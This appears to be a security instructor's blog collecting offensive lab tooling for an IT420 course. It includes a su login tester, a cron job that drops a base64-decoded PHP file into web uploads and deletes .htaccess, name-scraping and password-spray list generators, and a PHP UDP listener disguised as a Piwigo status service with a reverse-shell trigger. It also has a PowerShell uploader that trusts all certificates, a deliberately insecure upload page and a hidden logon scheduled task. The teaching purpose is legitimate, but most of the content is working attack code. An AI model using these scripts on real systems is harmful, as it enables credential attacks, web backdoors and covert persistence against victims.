Sunday, January 22, 2023

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pexpect library to auth with a defined username and password.  This can be used to discover an account.


#!/usr/bin/python3

# Found the script at https://stackoverflow.com/questions/5286321/pam-authentication-in-python-without-root-privileges and then modified
import pexpect
def authPam(username, password):
        result = 0
        try:
                child = pexpect.spawn('/bin/su - %s'%(username))
                child.expect('Password:')
                child.sendline(password)
                result=child.expect(['su: Authentication failure',username])
                child.close()
        except Exception as err:
                child.close()
                print ("Error authenticating. Reason: "%(username))
                return True
        if result == 0:
                print ("Authentication failed for user %s."%(username))
                return True
        else:
                print ("Authentication succeeded for user %s."%(username))
                return True

if __name__ == '__main__':
        authPam(username='root',password='root')
        #authPam(username='kali',password='kali') - If the user does not exist the script implodes...

Saturday, January 21, 2023

Setup crontab for www-data

For the IT420 class we are creating a crontab for www-data user using the following bash script.  This crontab will run every 10 minutes and create a php file that we need for the lab.


#!/bin/bash

printf "Commands you need to execute to schedule the creation of the phpcode\n"
printf "\n"

PHP='phpcode'
printf "Create php\n"
printf "PHP - $PHP\n\n"
B64=`echo 'phpcode' | base64 -w 0`
printf "Base64 encoded phpcode - $B64\n"
printf "\n"
printf "Pull the existing crontab\n"
printf "crontab -l > mycron\n\n"
printf "Append to the file mycron\n"
printf "echo \"*/10 * * * * echo $B64 | base64 -d > /var/www/html/uploads/attachments/attach.php\" >> mycron\n\n"
printf "Setup permissions on php file for execution\n"
printf "echo \"*/10 * * * * chmod 777 /var/www/html/uploads/attachments/attach.php\" >> mycron\n\n"
printf "Load the mycron as the current crontab for www-data\n"
printf "crontab mycron\n\n"
printf "Verify the crontab listing has your php\n"
printf "crontab -l\n\n"
printf "Notice a .htaccess file exists - Modify or Remove the file if it exists\n"
printf "rm /var/www/html/uploads/attachments/.htaccess\n\n"

Monday, January 9, 2023

Brute Force: Password Spray - Gather Names

For the Orange Attack Path in the IT420 course I challenged the students to gather the names from the home page of a provided website.  The below script was built to gather what resembles a first and last name like "Bob Smith" or "Bob. A. Smith".  The output of this script can be saved and then used to pull out the names that were found.


#!/usr/bin/python3

import requests
import re

# Use the below to supress the warnings due to not verifying the SSL/TLS certs
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def saveWebPage(urls, fileName):
    for url in urls:
        r = requests.get(url,verify=False)
        with open(fileName,'a') as f:
            #print(r.content)
            f.write(r.text)

def extractNames(fileName):
    nameList = []
    with open(fileName, 'r') as f:
        for line in f:
            firstLastName = re.findall(r"[A-Z][a-z]+\s[A-Z][a-z]+", line)
            firstMLastName = re.findall(r"[A-Z][a-z]+\s[A-Z]\.\s[A-Z][a-z]+", line)
            if len(firstLastName) > 0:
                for i in firstLastName:
                    if i not in nameList:
                        nameList.append(i)
            if len(firstMLastName) > 0:
                for i in firstMLastName:
                    if i not in nameList:
                        nameList.append(i)
    for name in nameList:
        print(name)

def main():
    urls = ["https://www.website.web", "https://www.website.web/about"]
    fileName = "output.html"
    saveWebPage(urls, fileName)
    extractNames(fileName)

Then after you create a userlist from the above output you can use the following script to create a list that can be used in the password spray.  Only conduct this on the web application provided for testing.

#!/usr/bin/python3

import sys
import getopt

# Example execution
# ./buildList.py -i userlist.txt -d windomain.local

def main():
    inputfile = ''
    # Read the argument for the userlist file and the domain to append
    if len(sys.argv) < 2:
        print('./buildList.py -i --userlist-- -d --domain--')
        exit(1)
    else:
        argv = sys.argv[1:]
        opts, argv = getopt.getopt(argv,"i:d:")
        for opt, arg in opts:
            if opt in ['-i']:
                inputfile = arg
            if opt in ['-d']:
                domain = arg
        # Read in the file from the command line options...
        with open(inputfile) as f:
            for line in f:
                firstname, lastname = line.split(" ")
                firstname = firstname.lower()
                lastname = lastname.lower().strip()
                # first.last
                print(firstname + "." + lastname + "@" + domain)
                # first_last
                print(firstname + "_" + lastname + "@" + domain)
                # f.last
                print(firstname[0:1] + "." + lastname + "@" + domain)
                # first.l
                print(firstname + "." + lastname[0:1] + "@" + domain)

if __name__ == '__main__':
    main()


The below script is a method to develop a password list that can be used for the lab.


#!/usr/bin/python3

# Building a password list of common helpdesk passwords of 2022
# Not meant for password sprays due to account lockout thresholds if they are set

season = ["Fall", "Winter", "Spring", "Summer"]
year = ["2021", "2022", "2023"]
commonSpecialChars = ["!", "@", "#", "$"]
#for a in season:
#    for b in year:
#        for c in commonSpecialChars:
#            print(a + b + c)
[print(a+b+c) for a in season for b in year for c in commonSpecialChars]

Monday, November 29, 2021

Simple PHP Listener on UDP 10000

 Found the following site demonstrating how to create a linux service with systemd and then extended it for a reverse shell.


# Credit for the idea
# https://medium.com/@benmorel/creating-a-linux-service-with-systemd-611b5c8b91d6

$sock = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP);
socket_bind($sock, '0.0.0.0', 10000);
$setIP = "";

for (;;) {
    socket_recvfrom($sock, $message, 1024, 0, $ip, $port);
    if (strpos($message, "ip") !== false) {
            $setIP = substr($message, 3, -1);
            $reply = $setIP . "\n";
    }
    elseif (strpos($message, "port") !== false) {
            $setPort = substr($message, 5, -1);
            $reply = $setPort . "\n";
    }
    elseif ((strpos($message, "status") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            $reply = "IP: $setIP Port: $setPort\n";
    }
    elseif ((strpos($message, "execute") !== false) && (strlen($setIP) > 0) && (strlen($setPort) > 1)) {
            # Launches a php-reverseshell...
            $reply = "IP: $setIP Port: $setPort\n";
    }
    else {
        $reply = "Piwigo is working as expected!";
    }
    socket_sendto($sock, $reply, strlen($reply), 0, $ip, $port);
}

Tuesday, November 23, 2021

Powershell to Upload File to PHP Page

In the previous post, a PHP page was created to upload a file.  Below is powershell that can be used to upload a selected file from a windows computer to the PHP page.

add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
    public bool CheckValidationResult(
        ServicePoint srvPoint, X509Certificate certificate,
        WebRequest request, int certificateProblem) {
        return true;
    }
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls12'

# Name of the file to upload to server
$FileName = 'test4.txt';
# Location of file to upload
$FilePath = 'C:\users\thepcn3rd\test1.txt';
# URL of webserver (with SSL cert)
$URL = 'https://172.16.53.133/upload.php';

$fileBytes = [System.IO.File]::ReadAllBytes($FilePath);
$fileEnc = [System.Text.Encoding]::GetEncoding('ISO-8859-1').GetString($fileBytes);
$boundary = [System.Guid]::NewGuid().ToString(); 
$LF = "`r`n";

# Most difficult part is below...
$bodyLines = ( 
    "--$boundary",
    "Content-Disposition: form-data; name=`"f`"; filename=`"$FileName`"",
    "Content-Type: application/octet-stream$LF",
    $fileEnc,
    "--$boundary",
    "Content-Disposition: form-data; name=`"submit`"$LF",
    "Upload",
    "--$boundary--$LF" 
) -join $LF

Invoke-RestMethod -Uri $URL -Method Post -ContentType "multipart/form-data; boundary=`"$boundary`"" -Body $bodyLines 

Simple PHP to Upload File (Insecure)

Below is php code for a simple file upload page.  This code is insecure and could allow an upload of a backdoor to your server.


<?php
    if (isset($_POST['submit'])) {
	$currentDirectory = getcwd();
    $uploadDirectory = "/uploads/";

        $fileName = $_FILES['f']['name'];
        $fileTempName  = $_FILES['f']['tmp_name'];

    	$uploadPath = $currentDirectory . $uploadDirectory . basename($fileName); 
        move_uploaded_file($fileTempName, $uploadPath);

        echo "The file " . basename($fileName) . " has been uploaded";
    }

    
?>

<html>
<body>
    <form action="upload.php" method="post" enctype="multipart/form-data">
        Upload a File:
        <input type="file" name="f">
        <input type="submit" name="submit" value="Upload">
    </form>
</body>
</html>

Monday, November 22, 2021

XML File for Creating a Scheduled Task

 Here is a simple XML File Created from Exporting a Scheduled Task.  The scheduled task was setup to run at any user logging in and to execute a powershell command with command line arguments.



<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>thepcn3rd</UserId>
      <LogonType>S4U</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-c "... | Out-Null"</Arguments>
    </Exec>
  </Actions>
</Task>

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...